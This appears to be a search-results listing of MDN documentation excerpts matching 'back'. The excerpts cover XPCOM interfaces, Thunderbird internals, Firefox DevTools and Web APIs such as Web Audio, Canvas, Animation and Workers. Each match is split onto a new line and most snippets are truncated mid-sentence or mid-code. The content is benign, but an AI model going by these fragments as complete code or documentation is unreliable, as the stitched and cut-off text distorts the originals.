backupbookmarkstofile(jsonfile); // restore bookmarks from the json file // note: this *overwrites* all pre-existing bookmarks placesutils.restorebookmarksfromjsonfile(jsonfile); history the toolkit history service is nsinavhistoryservice: var history = cc["@mozilla.o...
extIPreferenceBranch
this will be passed
back to you without any processing and can be something which would not be valid as a preference.
... void setvalue(in astring aname, in nsivariant avalue) parameters aname the name of a preference avalue the value of a preference return value reset() resets all preferences in a branch
back to their default values.
Aggregating the In-Memory Datasource
similarly, i wanted to trap flush() so that i could write the bookmarks.html file
back to disk.
...then the queryinterface() will be forwarded
back to you, and we'll recurse off to infinity (and beyond!...
Generic factory
*/ class nsigenericfactory : public nsifactory { public: static const nsiid& iid() { static nsiid iid = ns_igenericfactory_iid; return iid; } typedef ns_call
back(constructorprocptr) (nsisupports *aouter, refnsiid aiid, void **aresult); /** * establishes the generic factory's constructor function, which will be called * by createinstance.
...
background (this is based on my original news posting <beard-2402991733140001@h-198-93-95-151.mcom.com>.) we seem to be creating a huge number of different factory implementations.
XPCOM changes in Gecko 2.0
however, it's very easy to do, and you can actually support both types of registration for
backward compatibility.
...const nsgetfactory = xpcomutils.generatensgetfactory([mycomponent]); a component may implement
backwards compatibility with gecko 1.9.2 by dynamically detecting which symbols are exported by xpcomutils.jsm and exporting the correct function: /** * xpcomutils.generatensgetfactory was introduced in mozilla 2 (firefox 4, seamonkey 2.1).
Detailed XPCOM hashtable guide
nsthashtable - low-level c++ wrapper around pldhash; generates call
back functions and handles most casting automagically.
...it hides many of the complexities of pldhash (call
back functions, the ops structure, etc).
Mozilla internal string guide
cache-friendly means that the zero terminator for c compatibility is written after the new content of the string has been written, so the result is a forward-only linear write access pattern instead of a non-linear
back-and-forth sequence resulting from using setlength() followed by beginwriting().
...(gtk and rust natively use utf-8.) utf-16 - 16-bit encoding for unicode storage,
backwards compatible with ucs2.
Components.utils
isdeadwrapper() determines whether this object is
backed by a deadobjectproxy.
...this lets you specify a call
back so you can be notified once the garbage collection cycle has been performed.
Components.utils.schedulePreciseGC
using scheduleprecisegc() when you call components.utils.scheduleprecisegc(), you specify a call
back that is executed in once the scheduled garbage collection has been completed: components.utils.scheduleprecisegc( function() { // this code is executed when the garbage collection has completed } ); since the garbage collection doesn't occur until some time in the future (unlike, for example, components.utils.forcegc(), which causes garbage collection immediately but isn't able to collec...
...t all javascript-related memory), the call
back lets you know when that's been finished.
HOWTO
in all call
backs where your script is finished, i.e.
... both success and error call
backs, put: gscriptdone = true; if you forget some condition where your script should exit but you don't add this statement, your script will hang (busy wait).
IAccessibleComponent
method overview [propget] hresult
background([out] ia2color
background ); [propget] hresult foreground([out] ia2color foreground ); [propget] hresult locationinparent([out] long x, [out] long y ); methods
background() returns the
background color of this object.
... [propget] hresult
background( [out] ia2color
background ); parameters
background the returned color is the
background color of this object or, if that is not supported, the default
background color.
mozIStorageProgressHandler
the mozistorageprogresshandler interface lets storage consumers receive call
backs during the execution of sqlite requests.
... boolean onprogress( in mozistorageconnection aconnection ); parameters <tt>aconnection</tt> a mozistorageconnection connection indicating the connection for which the call
back was invoked.
nsIBidiKeyboard
in the gecko 1.9 branch, we are going to implement all the interface, with xkb functions for xlib and gtk2
backends.
... on the gtk2
backend, we will have gtk+ version checking, to use gtk+ implementations, if the problem doesn't exist.
nsICacheEntryDescriptor
use the stream transport service to asynchronously read this stream on a
background thread.
...use the stream transport service to asynchronously write to this stream on a
background thread.
nsIComponentRegistrar
this value is passed into the nsimodule.registerself() call
back and must be forwarded unmodified when registering factories via their location.
...this value is passed into thensimodule.registerself() call
back and must be forwarded unmodified when registering factories via their location.
nsIDNSService
to access the service, use: var dnsservice = components.classes["@mozilla.org/network/dns-service;1"] .createinstance(components.interfaces.nsidnsservice); note: starting in gecko 7.0, the "happy eyeballs" strategy is used to reduce lengthy timeouts when attempting
backup connections during attempts to connect from clients that have broken ipv6 connectivity.
... this is done by disabling ipv6 on
backup connections.
nsIDOMUserDataHandler
dom/interfaces/core/nsidomuserdatahandler.idlscriptable the call
back function for the setuserdata method.
... methods handle() this method is a call
back which will be called if a node with user data is being cloned, imported or adopted.
nsIDOMWindowInternal
void alert(in domstring text) boolean confirm(in domstring text) domstring prompt([optional] in domstring amessage, [optional] in domstring ainitial, [optional] in domstring atitle, [optional] in unsigned long asavepassword) void focus() void blur() void
back() void forward() void home() void stop() void print() void moveto(in long xpos, in long ypos) void moveby(in long xdif, in long ydif) void resizeto(in long width, in long height) void resizeby(in long widthdif, in long heightdif) void scroll(in long xscroll, in long yscroll) nsidomwindow window interface's o...
...n't exist, then a new window is opened and the specified resource is loaded into its browsing context.">open(in domstring url, in domstring name, in domstring options) nsidomwindow nsisupports aextraargument) void close() void updatecommands(in domstring action) boolean find([optional] in domstring str,[optional] in boolean casesensitive, [optional] in boolean
backwards, [optional] in boolean wraparound, [optional] in boolean wholeword, [optional] in boolean searchinframes, [optional] in boolean showdialog) domstring atob(in domstring aasciistring) domstring btoa(in domstring abase64data) nsivariant showmodaldialog(in nsivariant aargs, [optional] in domstring aoptions) void postmessage(in domstring message, in domstring t...
nsIDOMWindowUtils
n float ay, in float atopsize, in float arightsize, in float abottomsize, in float aleftsize, in boolean aignorerootscrollframe, in boolean aflushlayout); void processupdates(); obsolete since gecko 13.0 void purgepccounts(); unsigned long redraw([optional] in unsigned long acount); void renderdocument(in nsconstrect arect, in pruint32 aflags, in nscolor a
backgroundcolor, in gfxcontext athebescontext); native code only!
... native code only!renderdocument void renderdocument( in nsconstrect arect, in pruint32 aflags, in nscolor a
backgroundcolor, in gfxcontext athebescontext ); parameters arect aflags a
backgroundcolor athebescontext resumetimeouts() resumes timeouts on this window and its descendant windows.
nsIDragService
aregion a region containing rectangles for cursor feed
back, in window coordinates.
... aregion a region containing rectangles for cursor feed
back, in window coordinates.
nsIFeedProgressListener
toolkit/components/feeds/public/nsifeedlistener.idlscriptable this interface defines call
backs used during the processing of an rss or atom feed.
... programs using the feed content access api do not have to implement any of these call
backs; they are optional, but allow you to provide feed
back during the parsing process.
nsIInputStream
note: blocking input streams are often read on a
background thread to avoid locking up the main application thread.
...a call
back function that may be called once for each buffer segment contained in the stream.
nsILoadGroup
d overview void addrequest(in nsirequest arequest, in nsisupports acontext); void removerequest(in nsirequest arequest, in nsisupports acontext, in nsresult astatus); attributes attribute type description activecount unsigned long returns the count of "active" requests (that is requests without the load_
background bit set).
... notificationcall
backs nsiinterfacerequestor notification call
backs for the load group.
nsIObserver
a single nsiobserver implementation can observe multiple types of notification, and is responsible for dispatching its own behavior on the basis of the parameters for a given call
back.
...with this implementation, it's safe (and common practice) for an implementation of nsiobserver to remove itself as an observer during the observe call
back, or to add or remove other observers.
nsIOutputStream
note: blocking output streams are often written to on a
background thread to avoid locking up the main application thread.
... unsigned long writesegments( in nsreadsegmentfun areader, in voidptr aclosure, in unsigned long acount ); parameters areader a call
back function that may be called multiple times.
nsIPrefService
modules/libpref/public/nsiprefservice.idlscriptable this interface is the main entry point into the
back end preferences management library.
... resetuserprefs() called to reset all preferences with user set values
back to the application default values.
nsIPushSubscription
quota long the number of remaining
background messages for this subscription, or -1 if exempt.
... quotaapplies() indicates whether this subscription is subject to the
background message quota.
nsISupportsArray
on last changed in gecko 1.7 method overview boolean appendelements(in nsisupportsarray aelements); violates the xpcom interface guidelines nsisupportsarray clone(); void compact(); void deleteelementat(in unsigned long aindex); void deletelastelement(in nsisupports aelement); nsisupports elementat(in unsigned long aindex); violates the xpcom interface guidelines boolean enumerate
backwards(in nsisupportsarrayenumfunc afunc, in voidptr adata); violates the xpcom interface guidelines boolean enumerateforwards(in nsisupportsarrayenumfunc afunc, in voidptr adata); violates the xpcom interface guidelines boolean equals([const] in nsisupportsarray other); violates the xpcom interface guidelines long getindexof(in nsisupports apossibleelement); long getindexofstartingat(in ns...
...deleteelementat() void deleteelementat( in unsigned long aindex ); parameters aindex deletelastelement() void deletelastelement( in nsisupports aelement ); parameters aelement violates the xpcom interface guidelines elementat() nsisupports elementat( in unsigned long aindex ); parameters aindex return value enumerate
backwards() [notxpcom, noscript] boolean enumerate
backwards( in nsisupportsarrayenumfunc afunc, in voidptr adata ); parameters afunc adata return value enumerateforwards() [notxpcom, noscript] boolean enumerateforwards( in nsisupportsarrayenumfunc afunc, in voidptr adata ); parameters afunc adata return value violates the xpcom interface guidelines equals() boolean equals( ...
nsITaskbarPreviewController
width the width of the surface
backing the drawing context.
... height the height of the surface
backing the drawing context.
nsIWebBrowserFind
find
backwards boolean whether to find
backwards (towards the beginning of the document).
...works correctly when searching
backwards.
nsIWebBrowserPersist
progresslistener nsiwebprogresslistener call
back listener for progress notifications.
... as of firefox 36, a new parameter areferrerpolicy was added as the fourth argument, changing the number of parameters from 7 to 8 and shifting the order of the parameters in a
backwards incompatible way.
nsIWebProgressListener
these are instead intended as a rough indicator that may be used to, for example, color code a security indicator or otherwise provide basic data transfer security feed
back to the user.
...this can be communicated
back down to the content // in order to do send a command to a particular dom window.
nsIWorker
methods postmessage() used to allow the worker to send a message
back to the web application that created it.
... void postmessage( in domstring amessage, in nsiworkermessageport amessageport optional ); parameters amessage the message the worker wishes to post
back to its creator.
nsIXMLHttpRequest
here is a comment from johnny sten
back <jst@netscape.com>: the mozilla implementation of nsixmlhttprequest implements the interface nsidomeventtarget and that's how you're supported to add event listeners.
... cb(xhr.response); break; } default: services.prompt.alert(null, 'xhr error', 'error fetching package: ' + xhr.statustext + ' [' + ev.type + ':' + xhr.status + ']'); break; } }; let evf = f => ['load', 'error', 'abort'].foreach(f); evf(m => xhr.addeventlistener(m, handler, false)); xhr.moz
backgroundrequest = true; xhr.open('get', url, true); xhr.channel.loadflags |= ci.nsirequest.load_anonymous | ci.nsirequest.load_bypass_cache | ci.nsirequest.inhibit_persistent_caching; xhr.responsetype = "arraybuffer"; //dont set it, so it returns string, you dont want arraybuffer.
Performance
mozstorage uses sqlite as the database
backend.
...it keeps pages associated with the current transaction so it can roll them
back, and it also keeps recently used ones so it can run faster.
Frequently Asked Questions
this faq usually just refers
back directly to the appropriate answer, there.
...in most cases, the answer will just refer
back into the reference manual, above.
Weak reference
if, for instance, this owning reference is part of a cycle of owning references (e.g., if the referenced object also holds a owning reference
back to you), then none of the objects in the cycle can be reclaimed without taking special measures.
...i know this sounds more convenient, but the global routine ns_getweakreference makes it easy to go from the target object to the weak reference; and nsiweakreference::queryreferent gives you the same functionality as queryinterface for getting
back.
XPCOM ownership guidelines
in the latter case, caching the pointer you got
back makes you a de facto owner.
...in the simplest scheme, however, parents point to their children with owning-pointers, children point
back to their parents with non-owning-pointers.
Mail and RDF
all rdf properties of a message currently come from the database that
backs the containing folder.
...finally, it would convert the result of this call to an rdf literal, and pass it
back through the return parameter of gettarget().
The libmime module
typedef struct foobarclass foobarclass; typedef struct foobar foobar; class declaration theis structure defines the call
back routines and other per-class data of the class defined in this module.
... struct foobarclass { parentclass superclass; ...any call
backs or class-variables...
Thunderbird Binaries
these builds are made to get feed
back from testers and extension developers.
... if you wish to use a nightly build on your main profile, you should make sure you
back up your profile.
Thunderbird
these pages document thunderbird and the mailnews
backend which is also used in other projects such as seamonkey and postbox.
... database views
backend information about nsimsgdbview and related interfaces.
Using tab-modal prompts
disabling tab-modal prompts you can disable tab-modal prompts and get
back window-modal prompts by setting the prompts.tab_modal.enabled preference to false.
...an alert!"]; prompt.alert.apply(null, promptargs); nsiprompt will automatically fall
back to window-modal prompts when necessary (such as in situations in which tab-modal prompts aren't supported, or for prompts displayed outside the context of a tab).le to use other forms of the prompts of nsipromptservice interface see the example code.
Memory Management
when binary code hands
back a pointer/handle to allocated memory, the js code must make sure to free that memory with the correct allocator.
... closures you also need to be sure to retain references to any javascript code that native code may call
back into.
js-ctypes reference
call
backs you can pass regular javascript functions as call
backs to native functions.
... see the call
backs page for details.
js-ctypes
js-ctypes allows application and extension code to call
back and forth to native code written in c.
... using js-ctypes ctypes.open custom native file standard os libraries finding window handles working with data working with arraybuffers declaring types declaring and calling functions declaring and using call
backs type conversion memory management chromeworker js-ctypes reference a reference guide to the js-ctypes api.
Accessibility Inspector - Firefox Developer Tools
this is because the accessibility engine runs in the
background when the accessibility features are turned on.
... as of firefox 65, viewing this information for some foreground text that has a complex
background image (e.g.
Debugger.Frame - Firefox Developer Tools
similarly, walking the stack
back to a previously accessed frame yields the same frame object as before.
...if the non-debuggee function eventually calls
back into debuggee code, then those frames are visible.
Debugger-API - Firefox Developer Tools
if you have a strong command of the javascript language, you should have all the
background you need to use debugger successfully, even if you have never looked into the language’s implementation.
... here is a javascript program in the process of running a timer call
back function: a running javascript program and its debugger shadows this diagram shows the various types of shadow objects that make up the debugger api (which all follow some general conventions): a debugger.object represents a debuggee object, offering a reflection-oriented api that protects the debugger from accidentally invoking getters, setters, proxy traps, and so on.
Deprecated tools - Firefox Developer Tools
when we deprecate a panel, we begin by getting feed
back from the community to determine the impact of removing that panel.
... the results are displayed in the console output, to the right of the input, providing immediate feed
back.
Network request details - Firefox Developer Tools
if you select copy all, the entire header is copied in json format, giving you something like this (after running the results through a json validator): { "response headers (1.113 kb)": { "headers": [ { "name": "accept-ranges", "value": "bytes" }, { "name": "age", "value": "0" }, { "name": "
backend-timing", "value": "d=74716 t=1560258099074460" }, { "name": "cache-control", "value": "private, must-revalidate, max-age=0" }, { "name": "content-disposition", "value": "inline; filename=api-result.js" }, { "name": "content-encoding", "value": "gzip" }, { "name": "content-length", ...
... server timing new in firefox 71, the server timing section lists any information provided in the server-timing header — this is used to surface any
backend server timing metrics you've recorded (e.g.
Page inspector keyboard shortcuts - Firefox Developer Tools
enter return enter step forward through the attributes of a node tab tab tab step
backward through the attributes of a node shift + tab shift + tab shift + tab (when an attribute is selected) start editing the attribute enter return enter hide/show the selected node h h h focus on the search box in the html pane ctrl + f cmd + f ctrl + f edit as html f2 f2 f2 stop editing html f2 / ctrl +en...
... command windows macos linux focus on the search box in the css pane ctrl + f cmd + f ctrl + f clear search box content (only when the search box is focused, and content has been entered) esc esc esc step forward through properties and values tab tab tab step
backward through properties and values shift + tab shift + tab shift + tab start editing property or value (rules view only, when a property or value is selected, but not already being edited) enter or space return or space enter or space cycle up and down through auto-complete suggestions (rules view only, when a property or value is being edited) up arrow , dow...
Allocations - Firefox Developer Tools
in this way you can walk
back up the call stack, and understand better the context for these allocations.
...but if you start walking
back up the call stack, you'll see the difference: here, 8904 samples were taken in signallater().
Call Tree - Firefox Developer Tools
walking up the call tree next to each function name is a disclosure arrow: click that, and you can see the path
back up the call tree, from the function in which the sample was taken, to the root.
... sometimes there's more than one path
back from an entry to the top level.
Intensive JavaScript - Firefox Developer Tools
this just gives the browser some
background tasks to perform.
...i * (multiplier * math.random()); var isprime = true; for (var c = 2; c <= math.sqrt(candidate); ++c) { if (candidate % c === 0) { // not prime isprime = false; break; } } if (isprime) { primes.push(candidate); } } return primes; } in the worker, we have to listen for a message telling us to start, and send a "done" message
back when we are done.
Waterfall - Firefox Developer Tools
javascript functions executed in the page are labeled with the reason the function was called: script tag setinterval settimeout requestanimationframe promise call
back promise init worker javascript uri event handler stack call stack, with links to functions.
...if this is inside a call
back from a promise, this will also show the "async stack".
Web Audio Editor - Firefox Developer Tools
if you have feed
back or suggestions for new features, dev-developer-tools or twitter are great places to register them.
...nodes that are bypassed are shown with a hatched
background: ...
about:debugging (before Firefox 68) - Firefox Developer Tools
if you change files that stay loaded the whole time, like
background scripts, then you can pick up changes you've made by disabling and then re-enabling the add-on in the about:addons page.
...this does what it says: reloading any persistent scripts, such as
background scripts parsing the manifest.json file again, so changes to permissions, content_scripts, browser_action or any other keys will take effect.
about:debugging - Firefox Developer Tools
you can also reload the page by clicking the reload button next to the url bar, and (starting 79), navigate
backward or forward in the browsing history with the
back and forward buttons.
...this does what it says: reloads any persistent scripts, such as
background scripts parses the manifest.json file again, so changes to permissions, content_scripts, browser_action or any other keys take effect installed extensions the permanently installed extensions are listed in the next section, extensions.
Animation.onfinish - Web APIs
you can force the animation into the "finished" state by setting its starttime to document.timeline.currenttime - (animation.currenttime * animation.play
backrate).
...here is one instance where we add pointer events
back to an element after its opacity animation has faded it in: // add an animation to the game's ending credits var endingui = document.getelementbyid("ending-ui"); var bringui = endingui.animate(keysfade, timingfade); // pause said animation's credits bringui.pause(); // this function removes pointer events on the credits.
Animation.playState - Web APIs
the animation.playstate property of the web animations api returns and sets an enumerated value describing the play
back state of an animation.
... previously, web animations defined a pending value to indicate that some asynchronous operation such as initiating play
back was yet to complete.
Animation.startTime - Web APIs
the animation.starttime property of the animation interface is a double-precision floating-point value which indicates the scheduled time when an animation's play
back should begin.
... an animation’s start time is the time value of its documenttimeline when its target keyframeeffect is scheduled to begin play
back.
AudioContext.createMediaElementSource() - Web APIs
example this simple example creates a source from an <audio> element using createmediaelementsource(), then passes the audio through a gainnode before feeding it into the audiodestinationnode for play
back.
...mentelement.scrolltop : document.body.scrolltop); gainnode.gain.value = cury/height; } // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(gainnode); gainnode.connect(audioctx.destination); note: as a consequence of calling createmediaelementsource(), audio play
back from the htmlmediaelement will be re-routed into the processing graph of the audiocontext.
AudioContextLatencyCategory - Web APIs
"play
back" the user agent should select a latency that will maximize play
back time by minimizing power consumption at the expense of latency.
... useful for non-interactive play
back, such as playing music.
AudioNode.connect() - Web APIs
it is possible to connect an audionode to another audionode, which in turn connects
back to the first audionode, creating a cycle.
... notsupportederror the specified connection would create a cycle (in which the audio loops
back through the same nodes repeatedly) and there are no delaynodes in the cycle to prevent the resulting waveform from getting stuck constructing the same audio frame indefinitely.
AudioParam.value - Web APIs
consider this example: const source = new audiobuffersourcenode(...); const rate = 5.3; source.play
backrate.value = rate; console.log(source.play
backrate.value === rate); the log output will be false, because the play
back rate parameter, rate, was converted to the 32-bit floating-point number closest to 5.3, which yields 5.300000190734863.
... one solution is to use the math.fround() method, which returns the single-precision value equivalent to the 64-bit javascript value specified—when setting value, like this: const source = new audiobuffersourcenode(...); const rate = math.fround(5.3); source.play
backrate.value = rate; console.log(source.play
backrate.value === rate); in this case, the log output will be true.
AudioScheduledSourceNode.stop() - Web APIs
the stop() method on audioscheduledsourcenode schedules a sound to cease play
back at the specified time.
...omitting this parameter, specifying a value of 0, or passing a negative value causes the sound to stop play
back immediately.
BaseAudioContext - Web APIs
53" text-anchor="middle" alignment-baseline="middle">baseaudiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties baseaudiocontext.audioworklet read only secure context returns the audioworklet object, which can be used to create and manage audionodes in which javascript code implementing the audioworkletprocessor interface are run in the
background to process audio data.
...this node is also useful to create feed
back loops in a web audio api graph.
CSS.registerProperty() - Web APIs
.registered { --my-color: #c0ffee;
background-image: linear-gradient(to right, #fff, var(--my-color)); transition: --my-color 1s ease-in-out; } .registered:hover, .registered:focus { --my-color: #b4d455; } .unregistered { --unregistered: #c0ffee;
background-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #...
...b4d455; } button { font-size: 3vw; } we can add these styles to some buttons: <button class="registered">
background registered</button> <button class="unregistered">
background not registered</button> specifications specification status comment css properties and values api level 1the definition of 'the registerproperty() function' in that specification.
CSSStyleSheet.insertRule() - Web APIs
* @param {array} rules accepts an array of json-encoded declarations * @example addstylesheetrules([ ['h2', // also accepts a second argument as an array of arrays instead ['color', 'red'], ['
background-color', 'green', true] // 'true' for !important rules ], ['.myclass', ['
background-color', 'yellow'] ] ]); */ function addstylesheetrules (rules) { var styleel = document.createelement('style'); // append <style> element to <head> document.head.appendchild(styleel); // grab style element's sheet var stylesheet = styleel.sheet; for (var i = 0; i < rules.length; i++) ...
... /*else*/ return originalinsertrule.call( this, // the sheet to be changed selectorandrule.substring(0, openbracketpos), // the selector selectorandrule.substring(closebracketpos), // the rule arguments[3] // the insert index ); } // works by if the char code is a
backslash, then isescaped // gets flipped (xor-ed by 1), and if it is not a
backslash // then isescaped gets xored by itself, zeroing it isescaped ^= newcharcode===92?1:isescaped; // 92 = "\\".charcodeat(0) } // else, there is no unescaped bracket return originalinsertrule.call(this, selectorandrule, "", arguments[2]); }; } })(cssstylesheet.prototype); ...
CSSUnparsedValue.forEach() - Web APIs
syntax cssunparsedvalue.foreach(function call
back(currentvalue[, index[, array]]) { // your iterator }[, thisarg]); parameters call
back the function to execute for each element, taking three arguments: currentvalue the value of the current element being processed.
... thisarg optional value to use as this (i.e the reference object) when executing call
back.
CSS Typed Object Model API - Web APIs
it is also generally faster, as values can be directly manipulated and then cheaply translated
back into underlying values without having to both build and parse strings of css.
...subclasses include: cssimagevalue objects an interface representing values for properties that take an image, for example
background-image, list-style-image, or border-image-source.
CacheStorage - Web APIs
because the network is down), return a fall
back response.
... // try to get data from the cache, but fall
back to fetching it live.
CanvasRenderingContext2D.clearRect() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.clearrect(0, 0, canvas.width, canvas.height); erasing part of a canvas this example draws a blue triangle on top of a yellowish
background.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // draw yellow
background ctx.beginpath(); ctx.fillstyle = '#ff6'; ctx.fillrect(0, 0, canvas.width, canvas.height); // draw blue triangle ctx.beginpath(); ctx.fillstyle = 'blue'; ctx.moveto(20, 20); ctx.lineto(180, 20); ctx.lineto(130, 130); ctx.closepath(); ctx.fill(); // clear part of the canvas ctx.clearrect(10, 10, 120, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingco...
Compositing and clipping - Web APIs
function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); ctx.fillrect(0, 0, 150, 150); ctx.translate(75, 75); // create a circular clipping path ctx.beginpath(); ctx.arc(0, 0, 60, 0, math.pi * 2, true); ctx.clip(); // draw
background var lingrad = ctx.createlineargradient(0, -75, 0, 75); lingrad.addcolorstop(0, '#232256'); lingrad.addcolorstop(1, '#143778'); ctx.fillstyle = lingrad; ctx.fillrect(-75, -75, 150, 150); // draw stars for (var j = 1; j < 50; j++) { ctx.save(); ctx.fillstyle = '#fff'; ctx.translate(75 - math.floor(math.random() * 150), 75 - math.floor(math.random(...
...moveto(r, 0); for (var i = 0; i < 9; i++) { ctx.rotate(math.pi / 5); if (i % 2 === 0) { ctx.lineto((r / 0.525731) * 0.200811, 0); } else { ctx.lineto(r, 0); } } ctx.closepath(); ctx.fill(); ctx.restore(); } <canvas id="canvas" width="150" height="150"></canvas> draw(); in the first few lines of code, we draw a black rectangle the size of the canvas as a
backdrop, then translate the origin to the center.
Transformations - Web APIs
in each loop, the canvas is translated, the rectangle is drawn, and the canvas is returned
back to its original state.
... ctx.restore(); // right rectangles, rotate from rectangle center // draw blue rect ctx.fillstyle = '#0095dd'; ctx.fillrect(150, 30, 100, 100); ctx.translate(200, 80); // translate to rectangle center // x = x + 0.5 * width // y = y + 0.5 * height ctx.rotate((math.pi / 180) * 25); // rotate ctx.translate(-200, -80); // translate
back // draw grey rect ctx.fillstyle = '#4d4e53'; ctx.fillrect(150, 30, 100, 100); } to rotate the rectangle around its own center, we translate the canvas to the center of the rectangle, then rotate the canvas, then translate the canvas
back to 0,0, and then draw the rectangle.
ConstantSourceNode - Web APIs
start() schedules a sound to play
back at an exact time.
... stop() schedules a sound to stop play
back at an exact time.
CustomElementRegistry.define() - Web APIs
'position: relative;' + '}' + '.info {' + 'font-size: 0.8rem;' + 'width: 200px;' + 'display: inline-block;' + 'border: 1px solid black;' + 'padding: 10px;' + '
background: white;' + 'border-radius: 10px;' + 'opacity: 0;' + 'transition: 0.6s all;' + 'position: absolute;' + 'bottom: 20px;' + 'left: 10px;' + 'z-index: 3;' + '}' + ...
...ild(style); shadow.appendchild(wrapper); wrapper.appendchild(icon); wrapper.appendchild(info); } } // define the new element customelements.define('popup-info', popupinfo); <popup-info img="img/alt.png" text="your card validation code (cvc) is an extra security feature — it is the last 3 or 4 numbers on the
back of your card."> note: constructors for autonomous custom elements must extend htmlelement.
DedicatedWorkerGlobalScope.onmessage - Web APIs
a worker.onmessage handler is also present, to deal with messages are passed
back from the worker.
...r.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); } in the worker.js script, a dedicatedworkerglobalscope.onmessage handler is used to handle messages from the main script: onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message
back to main script'); postmessage(workerresult); } notice how in the main script, onmessage has to be called on myworker, whereas inside the worker script you just need onmessage because the worker is effectively the global scope (the dedicatedworkerglobalscope, in this case).
DedicatedWorkerGlobalScope.postMessage() - Web APIs
the main scope that spawned the worker can send
back information to the thread that spawned it using the worker.postmessage method.
...inside the handler a calculation is done from which a result message is created; this is then sent
back to the main thread using postmessage(workerresult); onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message
back to main script'); postmessage(workerresult); } in the main script, onmessage would have to be called on a worker object, whereas inside the worker script you just need on...
DeprecationReportBody - Web APIs
precated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe(); this tells the observer to start collecting reports in its report queue, and runs the call
back function specified inside the constructor: observer.observe(); because of the event handler we set up inside the reportingobserver() constructor, we can now click the button to display the report details.
... the report details are displayed via the displayreports() fuction, which takes the observer call
back's reports parameter as its parameter: function displayreports(reports) { const outputelem = document.queryselector('.output'); const list = document.createelement('ul'); outputelem.appendchild(list); for(let i = 0; i < reports.length; i++) { let listitem = document.createelement('li'); let textnode = document.createtextnode('report ' + (i + 1) + ', type: ' + reports[i].type); listitem.appendchild(textnode); let innerlist = document.createelement('ul'); listitem.appendchild(innerlist); list.appendchild(listitem); for (let key in reports[i].body) { let innerlistitem = document.createelement('li'); let keyvalue = reports[i].body[key]; in...
Detecting device orientation - Web APIs
this represents a front to
back motion of the device.
... in a garden: <div class="garden"> <div class="ball"></div> </div> <pre class="output"></pre> this garden is 200 pixel wide (yes, it's a tiny one), and the ball is in the center: .garden { position: relative; width : 200px; height: 200px; border: 5px solid #ccc; border-radius: 10px; } .ball { position: absolute; top : 90px; left : 90px; width : 20px; height: 20px;
background: green; border-radius: 100%; } now, if we move our device, the ball will move accordingly: var ball = document.queryselector('.ball'); var garden = document.queryselector('.garden'); var output = document.queryselector('.output'); var maxx = garden.clientwidth - ball.clientwidth; var maxy = garden.clientheight - ball.clientheight; function handleorientation(event) { var x = even...
Using light sensors - Web APIs
you are working in a dark environment'); bodybg.
backgroundcolor="lightgrey"; } else { bodybg.
backgroundcolor="#fff"; } }); this example shows how the api can actually be used in the wild.
...the code alerts the user that they are working in a dark environment and then changes the page's
background to a darker color.
Document.bgColor - Web APIs
the deprecated bgcolor property gets or sets the
background color of the current document.
...the recommended alternative is use of the css style
background-color which can be accessed through the dom with document.body.style.
backgroundcolor.
Document.compatMode - Web APIs
syntax const mode = document.compatmode value an enumerated value that can be: "
backcompat" if the document is in quirks mode.
... example if (document.compatmode == "
backcompat") { // in quirks mode } specifications specification status comment domthe definition of 'compatmode' in that specification.
Document.getAnimations() - Web APIs
examples the following code snippet will slow down all animations on a page by halving their animation.play
backrate.
... document.getanimations().foreach( function (animation) { animation.play
backrate *= .5; } ); specifications specification status comment web animationsthe definition of 'document.getanimations()' in that specification.
Document.querySelectorAll() - Web APIs
note: characters which are not part of standard css syntax must be escaped using a
backslash character.
... since javascript also uses
backslash escaping, special care must be taken when writing string literals using these characters.
Document - Web APIs
document.bgcolor gets/sets the
background color of the current document.
... document.mozsetimageelement() allows you to change the element being used as the
background image for a specified element id.
EffectTiming - Web APIs
direction optional whether the animation runs forwards (normal),
backwards (reverse), switches direction after each iteration (alternate), or runs
backwards and switches direction after each iteration (alternate-reverse).
... fill optional dictates whether the animation's effects should be reflected by the element(s) prior to playing ("
backwards"), retained after the animation has completed playing ("forwards"), or both.
Element.animate() - Web APIs
direction optional whether the animation runs forwards (normal),
backwards (reverse), switches direction after each iteration (alternate), or runs
backwards and switches direction after each iteration (alternate-reverse).
... fill optional dictates whether the animation's effects should be reflected by the element(s) prior to playing ("
backwards"), retained after the animation has completed playing ("forwards"), or both.
Element: blur event - Web APIs
event handler property onblur sync / async sync composed yes examples simple example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.
background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.
background = ''; }); result event delegation there are two ways of implementing event delegation for this event: by using the focusout event, or by setting the usecapture parameter of addeventlistener() to true.
... html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.
background = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.
background = ''; }, true); result specifications specification status comment ui events working draft added info that this event is composed.
Element: click event - Web APIs
internet explorer internet explorer 8 & 9 suffer from a bug where elements with a computed
background-color of transparent that are overlaid on top of other element(s) won't receive click events.
... known workarounds for this bug: for ie9 only: set
background-color: rgba(0,0,0,0) set opacity: 0 and an explicit
background-color other than transparent for ie8 and ie9: set filter: alpha(opacity=0); and an explicit
background-color other than transparent safari mobile safari mobile 7.0+ (and likely earlier versions too) suffers from a bug where click events aren't fired on elements that aren't typically interactive (e.g.
Element: focus event - Web APIs
event handler property onfocus sync / async sync composed yes examples simple example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.
